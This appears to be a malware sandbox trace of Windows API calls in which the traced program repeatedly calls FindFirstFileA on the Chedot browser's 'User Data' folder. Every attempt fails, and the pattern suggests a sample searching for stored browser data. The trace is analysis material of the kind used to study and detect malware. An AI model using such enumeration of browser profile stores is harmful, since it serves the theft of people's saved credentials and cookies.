[0052.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.856] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.856] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.857] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.858] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.858] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
[0052.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.859] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*.*") returned 57
